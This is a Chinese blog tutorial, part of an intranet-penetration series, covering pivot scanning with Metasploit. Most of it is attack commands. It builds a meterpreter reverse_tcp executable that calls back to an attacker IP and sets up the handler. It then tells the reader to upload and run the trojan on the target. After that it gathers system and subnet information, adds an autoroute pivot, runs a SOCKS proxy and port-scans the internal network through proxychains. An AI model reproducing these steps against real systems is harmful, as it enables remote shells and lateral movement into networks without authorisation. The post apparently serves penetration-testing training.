内网渗透思路03之跨路由扫描

最新推荐文章于 2024-01-26 15:41:32 发布

划水的小白白

最新推荐文章于 2024-01-26 15:41:32 发布

阅读量945

点赞数 1

分类专栏：内网安全

本文链接：https://blog.csdn.net/weixin_43970718/article/details/114478726

版权

10 篇文章 35 订阅

订阅专栏

在这里插入图片描述

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.0.196  lport=12345 -f exe >/var/www/html/s.exe

use exploit/multi/handler

set payload  windows/meterpreter/reverse_tcp

set lhost 192.168.0.196

set lport 12345

exploit

手动上传木马文件到目标机器，并执行。

查看当前用户					getuid


进入cmd交互shell界面			Shell

Systeminfo					//在cmd交互shell下执行，显示目标系统信息。

获取网卡信息					ifconfig

路由信息

run get_local_subnets		//可以用此命令查看目标机器所在内网网端信息与公网网端信息。

在这里插入图片描述

run autoroute -s 10.10.10.0/24

//添加一条通向目标服务器内网的路由，即让目标路由分配给当前kali一个内网IP。

//此时，msf就可以直接访问目标内网中其他机器。

run autoroute –p

//查看有没有新增成功，下图这种出现结果即表明新增成功。

在这里插入图片描述

Background

//返回，把meterpreter后台挂起

use auxiliary/server/socks4a

// 让Metasploit可以作为一个SOCKS代理服务器

Set srvport 10044		//设置服务端口

在这里插入图片描述

/etc/prxoychains.conf

在这里插入图片描述

新开一个窗口扫描端口服务，扫描内网中其他机器端口开放情况。

在这里插入图片描述

扫描到80端口开放；另外这个速度有一点慢。

采用tcp扫描，禁止ping操作。

也可以扫描一些其他常用端口：
在这里插入图片描述

如果全是timeout那么就应该思考一下，是不是配置出错。

如msf里端口，或者/etc/prxoychains.conf文件内容不对。

也可以用proxychains代理火狐访问一些其他内网机器
在这里插入图片描述

关注

专栏目录